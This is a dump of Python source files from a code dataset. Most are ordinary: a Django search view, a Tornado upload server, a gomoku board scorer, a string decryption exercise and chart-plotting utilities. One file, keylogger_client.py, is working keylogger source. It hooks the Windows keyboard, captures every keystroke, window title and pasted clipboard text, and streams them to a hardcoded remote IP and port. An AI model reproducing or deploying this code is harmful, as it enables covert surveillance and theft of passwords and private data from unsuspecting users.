'sketch': solution_sketch\n }\n search_result.append(result_item)\n\n #查询产品\n product_result = Product.objects.get_search(query_list)\n for product_item in product_result:\n product_id = convert_to_view_value(product_item.id)\n product_title = product_item.title\n product_sketch = remove_html_tag(product_item.sketch)\n if len(product_sketch) > 100:\n product_sketch = product_sketch[0:100] + '...'\n result_item = {\n 'type': 'product',\n 'id': product_id,\n 'title': product_title,\n 'sketch': product_sketch,\n }\n search_result.append(result_item)\n\n #查询产品内容\n product_content_result = ProductContent.objects.get_search(query_list)\n #检查所属产品在查询结果是否已存在\n for product_content_item in product_content_result:\n product_id = product_content_item.product.id\n exist = False\n for search_result_item in search_result:\n if search_result_item['type'] == 'product' \\\n and search_result_item['id'] == convert_to_view_value(product_id):\n exist = True\n break\n if not exist:\n product_item = Product.objects.get_product_by_id(product_id)\n if not product_item:\n continue\n product_id = convert_to_view_value(product_id)\n product_title = product_item.title\n product_sketch = product_item.sketch\n product_sketch = remove_html_tag(product_sketch)\n if len(product_sketch) > 100:\n product_sketch = product_sketch[0:100] + '...'\n result_item = {\n 'type': 'product',\n 'id': product_id,\n 'title': product_title,\n 'sketch': product_sketch\n }\n search_result.append(result_item)\n\n #查询服务\n service_result = Service.objects.get_search(query_list)\n for service_item in service_result:\n service_id = convert_to_view_value(service_item.id)\n service_title = service_item.title\n service_sketch = remove_html_tag(service_item.sketch)\n if len(service_sketch) > 100:\n service_sketch = service_sketch[0:100] + '...'\n result_item = {\n 'type': 'service',\n 'id': service_id,\n 'title': service_title,\n 'sketch': service_sketch\n }\n search_result.append(result_item)\n\n #没有查询到数据的消息反馈\n #消息类型：\n #0：搜索频率过快\n #1：关键词为空\n #2：没有查询到结果\n message = ''\n search_result_count = len(search_result)\n if search_result_count == 0:\n search_result = None\n if not valid_rate:\n message = 0\n elif not valid_keyword:\n message = 1\n else:\n message = 2\n\n query_history = request.COOKIES.get('query_history')\n if not query_history or query_history == 'None':\n if not query == '':\n query_history = list()\n query_history.append(query)\n else:\n #将本次关键词加入搜索历史\n query_history = query_history.split(',')\n #遍历搜索历史的每一项，检查是否有与本次关键词完全一样的项目\n for i in range(0, len(query_history), 1):\n if query == query_history[i]:\n del query_history[i]\n break\n #不存在完全一样的项则将其加入搜索历史\n if not query == '':\n query_history.insert(0, query)\n #保持历史记录项目数量不超过6\n while len(query_history) > 6:\n del query_history[len(query_history)-1]\n\n #将cookie中取得的历史记录转换成list，该list将传递给页面模板\n history_list = query_history\n query_history = ','.join(query_history)\n\n response = render(\n request,\n 'search/search.html',\n generate_context(\n current='home',\n search_result=search_result,\n search_result_count=search_result_count,\n query=query,\n history_list=history_list,\n message=message\n )\n )\n #搜索历史保存在客户端本地Cookie\n response.set_cookie('search', max_age=1)\n #历史列表保存时间为2小时\n response.set_cookie('query_history', query_history, max_age=7200)\n\n return response\n\n\ndef h404(request):\n return render(\n request,\n 'common/http404.html',\n generate_context(\n current='home'\n )\n )\n\n\ndef h500(request):\n return render(\n request,\n 'common/http500.html',\n generate_context(\n current='home'\n )\n )\n\n\ndef generate_context(**contexts):\n \"\"\"\n 生成页面上下文信息\n :return:\n \"\"\"\n #获取传入的上下文\n input_context = dict(contexts)\n #获取DEBUG状态\n use_cdn = settings.USE_CDN\n #获取设置\n call_setting = GlobalSetting.objects.get_phone_setting()\n mail_setting = GlobalSetting.objects.get_mail_setting()\n keyword_setting = GlobalSetting.objects.get_keyword_setting()\n description_setting = GlobalSetting.objects.get_description_setting()\n #获取当前年份\n year = datetime.datetime.now().year\n #将数据装入页面上下文\n setting_context = {\n 'use_cdn': use_cdn,\n 'year': year,\n 'call_setting': call_setting,\n 'mail_setting': mail_setting,\n 'description_setting': description_setting,\n }\n context = dict(input_context.items() + setting_context.items())\n if ('keywords' in context) is False:\n context['keywords'] = keyword_setting\n else:\n if context['keywords'] == str():\n context['keywords'] = keyword_setting\n return context\n","sub_path":"portal/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":20188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"287250058","text":"import click\nimport sys\n\n\n@click.command()\n@click.option('--opt')\n@click.argument('arg')\ndef hello(arg, opt):\n click.echo('Opt: {} Arg: {}'.format(opt, arg))\n\n\nif __name__ == '__main__':\n hello(sys.argv[1:])\n","sub_path":"sphinxcontrib/lpblocks/signon.py","file_name":"signon.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"273512185","text":"#!/usr/bin/env python\n'''\nFile: nodepy.py\nAuthor: George Ang <gnap.an@gmail.com>\nDescription:\n'''\n\nimport logging\n\nfrom tornado import ioloop\nfrom functools import partial\nfrom tornado.netutil import TCPServer\nfrom tornado.httputil import HTTPHeaders\nfrom tornado.httputil import _parse_header\n\nclass NodePy(object):\n\n def __init__(self, port):\n self._port = port\n\n def listen(self):\n self._server.listen(self._port)\n\n def stream(self, handle_stream):\n self._server = TCPServer()\n self._server.handle_stream = handle_stream\n return self\n\nclass StreamHandler(object):\n\n def __init__(self):\n self._headers = dict(Accept='*/*')\n\n def __call__(self, stream, request_uri, request_headers = None):\n pass\n\n\nclass HTTPStreamServer(object):\n\n def __call__(self, stream, address):\n\n _sample_length = 10240\n\n def on_header(data):\n #stream.write(data)\n lines = data.splitlines()\n if lines:\n method, uri, version = lines[0].split(\" \")\n headers = HTTPHeaders.parse(\"\\r\\n\".join(lines[1:]))\n if headers.get(\"Expect\") == \"100-continue\":\n stream.write(\"HTTP/1.1 100 (Continue)\\r\\n\\r\\n\")\n write_headers()\n content_length = headers.get(\"Content-Length\")\n content_type = headers.get(\"Content-Type\", \"\")\n if content_length and content_type:\n content_length = int(content_length)\n if content_type.startswith(\"multipart/form-data\"):\n fields = content_type.split(\";\")\n if len(fields) != 2:\n stream.close()\n k, sep, v = fields[1].strip().partition(\"=\")\n if k == 'boundary' and v:\n boundary = v\n stream.read_bytes(min(content_length, _sample_length + len(boundary)*2 + 210),\n partial(on_multipart, boundary=boundary))\n else:\n stream.close()\n\n else:\n stream.close()\n\n else:\n stream.close()\n\n def on_multipart(data, boundary):\n #stream.write('<'*8 + '\\r\\n')\n logging.debug('got data length:%s', len(data))\n eoh = data.find(boundary + '--')\n boundary_length = len(boundary) + 4\n logging.debug('got data eoh:%s', eoh)\n if eoh != -1:\n part = data[boundary_length:eoh]\n else:\n part = data[boundary_length:]\n\n logging.debug('got part length:%s', len(part))\n eoh = part.find(\"\\r\\n\\r\\n\")\n logging.debug('part header:\\n%s', part[:eoh])\n headers = HTTPHeaders.parse(part[:eoh].decode(\"utf-8\"))\n disp_header = headers.get(\"Content-Disposition\", \"\")\n content_type = headers.get(\"Content-Type\", \"\")\n disposition, disp_params = _parse_header(disp_header)\n value = part[eoh + 4: eoh + 4 + _sample_length]\n if not value:\n stream.close()\n return\n logging.debug('got value length:%s', len(value))\n filename = disp_params[\"filename\"]\n res = unicode('got filename:%s content-type:%s len:%s' % (filename, content_type, len(value)))\n logging.debug('got res :%s', res)\n stream.write(res.encode('utf-8'), on_write)\n #stream.write('\\r\\n' + '>'*8 )\n #stream.close()\n\n def on_write():\n stream.close()\n\n def write_headers():\n stream.write(\"\"\"HTTP/1.1 200 OK\\nAccept:*/*\\nContent-Type: text/html\\nTransfer-Encoding: chunked\\r\\n\\r\\n\"\"\")\n\n stream.read_until('\\r\\n\\r\\n', on_header)\n\nif __name__ == '__main__':\n NodePy(8810).stream(HTTPStreamServer()).listen()\n ioloop.IOLoop.instance().start()\n","sub_path":"app/core/nodepy.py","file_name":"nodepy.py","file_ext":"py","file_size_in_byte":3931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"583642916","text":"# -*- coding: utf-8 -*- \nfrom ctypes import *\nimport pythoncom\nimport pyHook\nimport win32clipboard\nimport socket\n\nuser32 = windll.user32\nkernel32 = windll.kernel32\npsapi = windll.psapi\ncurrent_window = None\n\n# 用于运行server.py的地址IP/URL及端口\ntarget_host = \"192.168.160.156\"\ntarget_port = 8374\n\n#建立连接并监听\nclient = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\nwhile True:\n\t#异常用于处理本机无网络时或者服务端未处于监听状态(简而言之就是无法建立连接时)而退出程序\n\ttry:\n\t\tclient.connect((target_host,target_port))\n\t\tbreak\n\texcept socket.error:\n\t\tcontinue\nclient.sendall(\"Request to connect!!\")\n\ndef get_current_process():\n\n\t# 获取最上层的窗口句柄\n\thwnd = user32.GetForegroundWindow()\n\n\t# 获取进程ID\n\tpid = c_ulong(0)\n\tuser32.GetWindowThreadProcessId(hwnd,byref(pid))\n\n\t# 将进程ID存入变量中\n\tprocess_id = \"%d\" % pid.value\n\n\t# 申请内存\n\texecutable = create_string_buffer(\"\\x00\"*512)\n\th_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)\n\n\tpsapi.GetModuleBaseNameA(h_process,None,byref(executable),512)\n\n\t# 读取窗口标题\n\twindows_title = create_string_buffer(\"\\x00\"*512)\n\tlength = user32.GetWindowTextA(hwnd,byref(windows_title),512)\n\n\t# 打印\n\tclient.sendall(\"\\n[ PID:%s-%s-%s]\\n\" % (process_id,executable.value,windows_title.value))\n\n\t# 关闭handles\n\tkernel32.CloseHandle(hwnd)\n\tkernel32.CloseHandle(h_process)\n\n# 定义击键监听事件函数\ndef KeyStroke(event):\n\n\tglobal current_window\n\n\t# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)\n\tif event.WindowName != current_window:\n\t\tcurrent_window = event.WindowName\n\t\t# 函数调用\n\t\tget_current_process()\n\n\t# 检测击键是否常规按键（非组合键等）\n\tif event.Ascii > 32 and event.Ascii <127:\n\t\tclient.sendall(chr(event.Ascii))\n\telse:\n\t\t# 如果发现Ctrl+v（粘贴）事件，就把粘贴板内容记录下来\n\t\tif event.Key == \"V\":\n\t\t\twin32clipboard.OpenClipboard()\n\t\t\tpasted_value = win32clipboard.GetClipboardData()\n\t\t\twin32clipboard.CloseClipboard()\n\t\t\tclient.sendall(\"[PASTE]-%s\" % (pasted_value))\n\t\telse:\n\t\t\tclient.sendall(\"[%s]\" % event.Key)\n\n\t# 循环监听下一个击键事件\n\treturn True\n\n# 创建并注册hook管理器\nkl = pyHook.HookManager()\nkl.KeyDown = KeyStroke\n\n# 注册hook并执行\nkl.HookKeyboard()\npythoncom.PumpMessages()","sub_path":"keylogger/keylogger_client.py","file_name":"keylogger_client.py","file_ext":"py","file_size_in_byte":2342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"381745166","text":"from __future__ import print_function\nfrom pprint import pprint\nimport random\nimport pipe as P\nimport numpy as np\nfrom pipe import DEBUG_EVAL, DEBUG\nimport sys\nfrom easyAI import TwoPlayersGame, Human_Player, AI_Player, Negamax\nfrom easyAI import id_solve, TT\nimport numpy as np\nfrom easyAI import SSS\nfrom numba import jit\nimport pdb \nimport cProfile \ntype_table = {\n (1,1,1,1,1): 'l_5',\n\n (1,1,1,1,0): 'l_4c',\n (1,1,1,0,1): 'l_4',\n (1,1,0,1,1): 'l_4',\n (1,0,1,1,1): 'l_4',\n (0,1,1,1,1): 'l_4c',\n\n (0,0,1,1,1): 'l_3c',\n (0,1,0,1,1): 'l_3',\n (0,1,1,0,1): 'l_3',\n (0,1,1,1,0): 'l_3c',\n # (1,0,0,1,1): 'l_3',\n (1,0,1,0,1): 'l_3',\n (1,0,1,1,0): 'l_3',\n # (1,1,0,0,1): 'l_3',\n (1,1,0,1,0): 'l_3',\n (1,1,1,0,0): 'l_3c',\n\n (1,1,0,0,0): 'l_2c',\n (1,0,1,0,0): 'l_2',\n # (1,0,0,1,0): 'l_2',\n # (1,0,0,0,1): 'l_2',\n (0,1,1,0,0): 'l_2c',\n (0,1,0,1,0): 'l_2',\n # (0,1,0,0,1): 'l_2',\n (0,0,1,1,0): 'l_2c',\n (0,0,1,0,1): 'l_2',\n (0,0,0,1,1): 'l_2c',\n\n# ENEMY\n (2,2,2,2,2): 'b_5',\n\n (2,2,2,2,0): 'b_4c',\n (2,2,2,0,2): 'b_4',\n (2,2,0,2,2): 'b_4',\n (2,0,2,2,2): 'b_4',\n (0,2,2,2,2): 'b_4c',\n\n (0,0,2,2,2): 'b_3c',\n (0,2,0,2,2): 'b_3',\n (0,2,2,0,2): 'b_3',\n (0,2,2,2,0): 'b_3c',\n # (2,0,0,2,2): 'b_3',\n (2,0,2,0,2): 'b_3',\n (2,0,2,2,0): 'b_3',\n # (2,2,0,0,2): 'b_3',\n (2,2,0,2,0): 'b_3',\n (2,2,2,0,0): 'b_3c',\n\n (2,2,0,0,0): 'b_2c',\n (2,0,2,0,0): 'b_2',\n # (2,0,0,2,0): 'b_2',\n # (2,0,0,0,2): 'b_2',\n (0,2,2,0,0): 'b_2c',\n (0,2,0,2,0): 'b_2',\n # (0,2,0,0,2): 'b_2',\n (0,0,2,2,0): 'b_2c',\n (0,0,2,0,2): 'b_2',\n (0,0,0,2,2): 'b_2c'\n }\n\nscore_table = {\n 'b_5':-100000000,\n 'b_4c': -500,\n 'b_4': -500,\n 'b_3c': -100,\n 'b_3': -100,\n 'b_2c': -10,\n 'b_2': -1,\n\n 'l_5': 400000000,\n 'l_4c': 2000,\n 'l_4': 2000,\n 'l_3c': 400,\n 'l_3': 400,\n 'l_2c': 40,\n 'l_2': 4,\n\n 'z': 0\n }\n\ndef do_cprofile(func):\n def profiled_func(*args, **kwargs):\n profile = cProfile.Profile()\n try:\n profile.enable()\n result = func(*args, **kwargs)\n profile.disable()\n return result\n finally:\n profile.print_stats()\n return profiled_func\n\ndef score(board,witdh,nplayer):\n\n pat_l = []\n boardrot = np.rot90(board)\n psize = 5\n ret = 0\n\n for x in xrange(0, witdh):\n for y in xrange(0, witdh - psize + 1):\n a = tuple(board[x:x + 1, y:y + psize].flatten())\n b = tuple(board[y:y + psize, x:x + 1].flatten())\n\n if a in type_table:\n # pat_l.append(type_table[a]) \n ret += score_table[type_table[a]]\n if b in type_table:\n # pat_l.append(type_table[b]) \n ret += score_table[type_table[b]]\n\n for x in xrange(-witdh, witdh):\n for y in xrange(0, witdh - psize + 1):\n a = tuple(board.diagonal(x)[y:y+psize])\n b = tuple(boardrot.diagonal(x)[y:y+psize])\n if a in type_table:\n ret += score_table[type_table[a]]\n # pat_l.append(type_table[a]) \n if b in type_table:\n ret += score_table[type_table[b]]\n # pat_l.append(type_table[b]) \n if nplayer == 1:\n return ret\n else:\n return -ret\n\ndef computescore(board,width,nplayer,xmov,ymov): # pro dane souradnice xmov,ymov spocitam skore sloupce,radku a diagonal\n board = board\n newPatt = []\n boardrot = np.rot90(board)\n psize = 5\n ret = 0\n\n\n c = tuple(board.diagonal(-xmov+ymov))\n d = tuple(boardrot.diagonal(-width+1+ymov+xmov))\n a = tuple(board[xmov:xmov + 1].flatten())\n b = tuple(boardrot[-ymov-1].flatten())\n \n for x in xrange(0,len(a)-psize+1):\n aa = tuple(a[x:x+psize])\n if aa in type_table:\n newPatt.append(type_table[aa]) \n ret += score_table[type_table[aa]]\n\n for x in xrange(0,len(b)-psize+1):\n bb = tuple(b[x:x+psize])\n if bb in type_table:\n newPatt.append(type_table[bb]) \n ret += score_table[type_table[bb]]\n\n for x in xrange(0,len(c)-psize+1):\n cc = tuple(c[x:x+psize])\n if cc in type_table:\n newPatt.append(type_table[cc]) \n ret += score_table[type_table[cc]]\n\n for x in xrange(0,len(d)-psize+1):\n dd = tuple(d[x:x+psize])\n if dd in type_table:\n newPatt.append(type_table[dd]) \n ret += score_table[type_table[dd]]\n\n\n return ret\n\n","sub_path":"vlastni/flask/score.py","file_name":"score.py","file_ext":"py","file_size_in_byte":5411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"240057403","text":"import cupy as cp\r\nimport pandas as pd\r\nimport cudf\r\nimport dask_cudf\r\n\r\ndef good_neigbour(df):\r\n \"\"\"\r\n Computation of a big correlation matrix. Should be done on a GPU. We could not test this, as there is no gpu support\r\n on power. We expect that dask_cudf works on x86.\r\n :param df:\r\n :return:\r\n \"\"\"\r\n cuda = cudf.DataFrame(df)\r\n df = dask_cudf.from_cudf(cuda, npartitions=2)\r\n\r\n df = df.groupby(['account', 'date'])['volume'].sum()\r\n\r\n unique_market_parties = df.index.get_level_values('account').unique()\r\n timepoints = df.index.get_level_values('date').unique()\r\n index = pd.MultiIndex.from_product([unique_market_parties, timepoints], names=['account', 'date'])\r\n corss_account_owners_timepoints = pd.DataFrame(index=index)\r\n corss_account_owners_timepoints = corss_account_owners_timepoints.sort_values(['account', 'date'])\r\n\r\n df = pd.merge(df, corss_account_owners_timepoints, on=['account', 'date'], how=\"outer\")\r\n df['volume'] = df['volume'].fillna(0)\r\n df = df['volume']\r\n\r\n cor = df.unstack(level='account').corr()\r\n\r\n cor.index = cor.index.rename('center')\r\n cor.columns = cor.columns.rename('Peripherie')\r\n cor = cor.stack()\r\n cor.name = 'correlation'\r\n cor = cor.to_frame()\r\n\r\n buddy = cor.groupby('center')['correlation'].nsmallest(1)\r\n\r\n return buddy","sub_path":"assets/jupyterlab/special_score/gpu_calculation.py","file_name":"gpu_calculation.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"381509511","text":"T = int(input())\r\n\r\nfor _ in range(T):\r\n N = int(input())\r\n result = N\r\n score = []\r\n for _ in range(N):\r\n score.append(list(map(int, input().split())))\r\n score.sort(key=lambda x: x[0])\r\n minScore = score[0][1]\r\n for i in score:\r\n if i[1] > minScore:\r\n result -= 1\r\n else:\r\n minScore = i[1]\r\n\r\n print(result)","sub_path":"SOPTAC/3주차(그리디)/신입 사원 #1946.py","file_name":"신입 사원 #1946.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"63694801","text":"#!/usr/bin/python3\n###### this is the second .py file ###########\n\n####### write your code here ##########\n#function definition to rotate a string d elemets to right\ndef rotate_right(array,d):\n r1=array[0:len(array)-d] # taking first n-d letters\n r2=array[len(array)-d:] # last d letters\n rotate = r2+r1 # reversed the order\n return rotate #return ststement\n\n\n\ndecrypted=\"\" # decrypted string will be stored here\n#k1=int(input(\"Enter the amount by which key1 elemets to be rotated\\n Decryption key1 = : \"))\n#k2=int(input(\"\\nDecryption key2 = : \"))\n#k3=int(input(\"\\nDecryption key3 = : \"))\nprint(\"Enter Key\")\nj1,j2,j3 =input().split(\" \")\nk1=int(j1)\nk2=int(j2)\nk3=int(j3)\nquer_str = input(\"Enter Encrypted string\\n\")\nprint(quer_str)\nalphabets=\"abcdefghijklmnopqrstuvwxyz_\"\nalphabets1=alphabets[0:9]\nalphabets2=alphabets[9:18]\nalphabets3=alphabets[18:27]\n# Declaring Strings to store different key characters\nkey1=\"\"\nkey2=\"\"\nkey3=\"\"\n# Seperating keys for different range\nfor i in quer_str :\n for j in alphabets1:\n if i==j :\n key1 = key1 + str(i)\n\n for k in alphabets2:\n if i==k :\n key2 = key2 + str(i)\n\n for l in alphabets3:\n if i==l:\n key3 = key3 + str(i)\n\n# keys sorted according to input numbers by which they are to be shifted\nnew_k1=rotate_right(key1,k1)\nnew_k2=rotate_right(key2,k2)\nnew_k3=rotate_right(key3,k3)\nindex1=0\nindex2=0\nindex3=0\n# Decrypting a string and printing original decrypted string\nfor i in quer_str:\n for j in new_k1 :\n if i==j:\n decrypted=decrypted+new_k1[index1]\n index1 = index1+1\n\n for k in new_k2 :\n if i==k :\n decrypted=decrypted+new_k2[index2]\n index2=index2+1\n\n for l in new_k3 :\n if i==l :\n decrypted=decrypted+new_k3[index3]\n index3=index3+1\n\nprint(\"Decrypted string is : \",decrypted)\n","sub_path":"ps2.py","file_name":"ps2.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"76112694","text":"#!/usr/bin/env python\nfrom samplebase import SampleBase\nfrom rgbmatrix import graphics\nimport time\nimport random\n\n\nclass FixedText(SampleBase):\n def __init__(self, *args, **kwargs):\n super(FixedText, self).__init__(*args, **kwargs)\n self.parser.add_argument(\"-t\", \"--text\", help=\"The text to display. Format <line 1>::<line 2>\", default=\"Line 1: Line 2\")\n\n def run(self):\n canvas = self.matrix\n font = graphics.Font()\n font.LoadFont(\"animation/fonts/5x7.bdf\")\n\n line1_color = []\n line2_color = []\n for i in range(3):\n line1_color.append(random.randint(0, 255))\n line2_color.append(random.randint(0, 255))\n\n l1_color = graphics.Color(*tuple(line1_color))\n l2_color = graphics.Color(*tuple(line2_color))\n line1, line2 = self.args.text.strip().split('::')\n graphics.DrawText(canvas, font, 0, 7, l1_color, line1)\n graphics.DrawText(canvas, font, 0, 14, l2_color, line2)\n\n while True:\n time.sleep(2) \n\n\n# Main function\nif __name__ == \"__main__\":\n fixed_text = FixedText()\n if (not fixed_text.process()):\n fixed_text.print_help()\n","sub_path":"pubsub/animation/fixed-text.py","file_name":"fixed-text.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"623703652","text":"# -*- coding: utf-8 -*-\n\nfrom actor import teen_backend_list, army_backend_list, teen_activity_list, army_activity_list, status, logger\nfrom actor.__version__ import __logo__\nfrom actor.browser import login, get_pending_activities, show_pending, start_browser, \\\n login_backends, open_activities, get_all_activity_try_urls, get_army_activity_try_urls, add_date_filters\nfrom actor.cli import cli\nfrom actor.utils import sort_urls_by_activities\n\ndriver = None\n\n\ndef main():\n global driver # use global driver to avoid selenium closing browser\n print(__logo__)\n login()\n\n teen_urls = get_all_activity_try_urls(teen_backend_list, teen_activity_list, status=status)\n army_urls = get_army_activity_try_urls(army_backend_list, army_activity_list, status=status)\n urls = sort_urls_by_activities(army_urls + teen_urls)\n urls = add_date_filters(urls)\n pending = get_pending_activities(urls)\n show_pending(pending)\n\n driver = start_browser()\n login_backends(driver, {activity['backend'] for activity in pending})\n # login_examine(driver)\n open_activities(driver, pending)\n\n\nif __name__ == \"__main__\":\n try:\n # main()\n cli()\n except Exception as e:\n logger.exception(e)\n raise\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"363229470","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport xlrd\nimport sys\nimport re\nfrom adjustText import adjust_text\n\n\ndef curve_points(y_small, y_large, direction):\n \"\"\"产生余弦曲线插点\"\"\"\n if direction == \"up\":\n # 上升余弦曲线，产生纵轴y的插值点\n x_up = np.linspace(np.pi, 2 * np.pi, 50)\n y_curve = [y_small + (y_large - y_small) * (j + 1) / 2 for j in np.cos(x_up).tolist()]\n else:\n # 下降余弦曲线，产生纵轴y的插值点\n x_down = np.linspace(0, np.pi, 50) # 下降余弦曲线横坐标\n y_curve = [y_small + (y_large - y_small) * (j + 1) / 2 for j in np.cos(x_down).tolist()]\n return y_curve\n\n\ndef interpolate_cos(x, y):\n \"\"\"在反应路径驻点上产生一系列余弦曲线插值点\"\"\"\n x_new = []\n y_smooth = []\n\n # 1. 延伸起始点\n x_pre_temp = np.linspace(x[0] - 1, x[0], 50).tolist()\n # 下降余弦曲线，产生纵轴y的插值点，与初始两个点间曲线对称\n y_pre_temp = curve_points(y[0], y[1], \"down\")\n x_new = x_new + x_pre_temp\n y_smooth = y_smooth + y_pre_temp\n\n # 2. 中间点插值\n for i in range(len(x) - 1):\n x_new_temp = np.linspace(x[i], x[i + 1], 50).tolist() # 产生横轴x的插值点\n if y[i] < y[i + 1]:\n y_smooth_temp = curve_points(y[i], y[i+1], \"up\") # 上升余弦曲线，产生纵轴y的插值点\n else:\n y_smooth_temp = curve_points(y[i+1], y[i], \"down\") # 下降余弦曲线，产生纵轴y的插值点\n x_new = x_new + x_new_temp # 包含所有横坐标点的列表\n y_smooth = y_smooth + y_smooth_temp # 包含所有纵坐标点的列表\n\n # 3. 延伸末端点\n x_post_temp = np.linspace(x[-1], x[-1] + 1, 50).tolist()\n # 上升余弦曲线，产生纵轴y的插值点，与最后两个点间曲线对称\n y_post_temp = curve_points(y[-1], y[-2], \"up\")\n x_new = x_new + x_post_temp\n y_smooth = y_smooth + y_post_temp\n\n return x_new, y_smooth # 返回所有插值点的坐标\n\n\ndef plot_curve(x, y, color, path_label, TextLabel, FontSize=22):\n \"\"\"绘制多条平滑曲线型能垒图\"\"\"\n x_new_array = []\n y_smooth_array = []\n for i in range(len(y)): # 遍历所有列的能量值\n x_strip = []\n y_strip = []\n for j in range(len(y[i])):\n if y[i][j] != \"\": # 剔除空数据\n y_strip.append(y[i][j])\n x_strip.append(x[j])\n\n plt.scatter(x_strip, y_strip, linewidth=6, color=color[i]) # 绘制散点图\n x_new, y_smooth = interpolate_cos(x_strip, y_strip) # 调用插点函数，生成插点坐标\n plt.plot(x_new, y_smooth, linewidth=4, label=path_label[i], color=color[i]) # 绘制平滑曲线\n x_new_array = np.append(x_new_array, x_new)\n y_smooth_array = np.append(y_smooth_array, y_smooth)\n\n # 标记能量值，偏移量视具体情况而定\n if TextLabel == 'True':\n for j in range(len(x_strip)):\n texts = [plt.text(x_strip[j], y_strip[j], \"{:.1f}\".format(y_strip[j]), fontsize=FontSize,\n color=color[i])] # 标记能量值，偏移量视具体情况而定\n adjust_text(texts, x_new_array, y_smooth_array) # 调用adjust_text，尽可能避免文字文字、文字与曲线重叠\n\n\ndef line_split(x, y, color, TextLabel, FontSize=22):\n \"\"\"绘制单条分段实线图\"\"\"\n y_new = []\n x_new = []\n # 1.生成新的XY坐标点，个数加倍\n for i in range(len(y)):\n if y[i] != \"\": # 剔除空数据\n y_new.append(y[i])\n y_new.append(y[i])\n x_new.append(2*i+1)\n x_new.append(2*i+2)\n # 2.绘制实线折线图\n i = 0\n while i < len(y_new):\n x_line = [x_new[i], x_new[i+1]]\n y_line = [y_new[i], y_new[i+1]]\n plt.plot(x_line, y_line, linestyle='-', linewidth=6, color=color)\n i += 2\n # 3.添加能量值文本标签\n if TextLabel == 'True':\n for j in range(len(x)):\n if y[j] != \"\":\n plt.text(x[j] * 2 - 0.9, y[j] + 0.4, \"{:.1f}\".format(y[j]), fontsize=FontSize, color=color)\n return x_new, y_new\n\n\ndef plot_line_dot(x, y, color, path_label, TextLabel, FontSize=22):\n \"\"\"绘制多条虚实折线图\"\"\"\n y_max, y_min = y_extreme(y) # 获取y值的最大值和最小值\n y_bias = (y_max - y_min) / 50 # 获取文本标签y方向偏移量\n if isinstance(path_label, list): # 多条路径的情况\n for i in range(len(y)): # 遍历所有列的能量值\n # 绘制分段实线折线图\n x_new, y_new = line_split(x[i], y[i], color[i], TextLabel=\"False\")\n # 绘制虚线折线图\n plt.plot(x_new, y_new, linestyle='--', linewidth=5, color=color[i], label=path_label[i])\n # 标记能量值，偏移量视具体情况而定\n if TextLabel == 'True':\n for j in range(len(x)):\n if y[i][j] != \"\":\n plt.text(x[j] * 2 - 0.9, y[i][j] + y_bias, \"{:.1f}\".format(y[i][j]), fontsize=FontSize,\n color=color[i])\n else: # 单条路径的情况\n # 绘制分段实线折线图\n x_new, y_new = line_split(x, y, color, TextLabel=\"False\")\n # 绘制虚线折线图\n plt.plot(x_new, y_new, linestyle='--', linewidth=5, color=color, label=path_label)\n\n # 标记能量值，偏移量视具体情况而定\n if TextLabel == 'True':\n for j in range(len(x)):\n if y[j] != \"\":\n plt.text(x[j] * 2 - 0.9, y[j] + y_bias, \"{:.1f}\".format(y[j]), fontsize=FontSize, color=color)\n\n\ndef plot_line_curve(y_ini, _xtick_labels, color, PathLabel, TextLabel, FontSize=22):\n \"\"\"单条曲线：根据中间体及过渡态类型绘制能垒图，对中间体绘制横线，对过渡态绘制曲线\"\"\"\n # 1. 数据预处理\n x_ini = [i * 2 + 2 for i in range(len(y_ini))] # 产生x轴坐标\n x = []\n y = []\n for i in range(len(y_ini)):\n if y_ini[i] != \"\":\n if re.match(r\"^TS\", _xtick_labels[i]) is not None: # 判断是否为TS数据点，若是，将y值添加到新的列表中\n y.append(y_ini[i])\n x.append(x_ini[i])\n else: # 若否，将y值分两次添加到新的列表中\n y.append(y_ini[i])\n y.append(y_ini[i])\n x.append(x_ini[i]-0.5)\n x.append(x_ini[i]+0.5)\n\n # 2. 产生插值点\n x_new = []\n y_smooth = []\n for i in range(len(x) - 1):\n # 产生横轴x的插值点\n x_new_temp = np.linspace(x[i], x[i + 1], 50).tolist()\n if y[i] < y[i + 1]:\n # 上升余弦曲线，产生纵轴y的插值点\n y_smooth_temp = curve_points(y[i], y[i+1], \"up\")\n elif y[i] > y[i + 1]:\n # 下降余弦曲线，产生纵轴y的插值点\n y_smooth_temp = curve_points(y[i+1], y[i], \"down\")\n else:\n # 长横线\n y_smooth_temp = np.linspace(y[i], y[i+1], 50).tolist()\n x_new = x_new + x_new_temp # 包含所有横坐标点的列表\n y_smooth = y_smooth + y_smooth_temp # 包含所有纵坐标点的列表\n\n # 3. 绘制曲线\n plt.plot(x_new, y_smooth, linewidth=6, color=color, label=PathLabel) # 绘制曲线\n\n # 4. 添加能量值文本标签\n if TextLabel == 'True':\n # 添加能量值文本标签\n for i in range(len(y_ini)):\n # 标记能量值，偏移量视具体情况而定\n if y_ini[i] != \"\":\n texts = [plt.text(x_ini[i] - 0.2, y_ini[i] + 0.06, \"{:.1f}\".format(y_ini[i]), fontsize=FontSize, color=color)]\n adjust_text(texts, x_new, y_smooth) # 